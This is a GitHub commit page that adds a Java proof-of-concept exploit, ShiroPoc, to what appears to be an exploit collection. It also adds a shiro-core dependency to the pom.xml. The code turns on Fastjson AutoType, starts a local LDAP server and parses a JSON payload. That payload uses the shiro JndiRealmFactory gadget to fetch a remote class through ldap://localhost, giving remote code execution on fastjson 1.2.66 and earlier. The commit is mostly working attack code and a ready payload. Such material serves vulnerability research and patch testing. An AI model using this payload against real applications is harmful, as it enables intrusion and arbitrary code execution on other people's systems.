Skip to content

Commit 1bc037f

Browse files
author
“threedr3am”
committed
feat:添加Fastjson Apache shiro-core RCE gadget
1 parent 6be4383 commit 1bc037f

File tree

2 files changed

+42
-0
lines changed

2 files changed

+42
-0
lines changed

fastjson/pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -116,5 +116,11 @@
116116
<artifactId>commons-jelly</artifactId>
117117
<version>1.0.1</version>
118118
</dependency>
119+
120+
<dependency>
121+
<groupId>org.apache.shiro</groupId>
122+
<artifactId>shiro-core</artifactId>
123+
<version>1.5.1</version>
124+
</dependency>
119125
</dependencies>
120126
</project>
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
7+
/**
8+
* fastjson <= 1.2.66 RCE,需要开启AutoType
9+
*
10+
*
11+
* shiro-core gadget
12+
*
13+
* <dependency>
14+
* <groupId>org.apache.shiro</groupId>
15+
* <artifactId>shiro-core</artifactId>
16+
* </dependency>
17+
*
18+
* @author threedr3am
19+
*/
20+
public class ShiroPoc {
21+
static {
22+
//rmi server示例
23+
// RmiServer.run();
24+
25+
//ldap server示例
26+
LdapServer.run();
27+
}
28+
29+
public static void main(String[] args) {
30+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
31+
32+
String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:43658/Calc\"], \"Realms\":[\"\"]}";//ldap方式
33+
System.out.println(payload.charAt(98));
34+
JSON.parse(payload);
35+
}
36+
}

0 commit comments

Comments
 (0)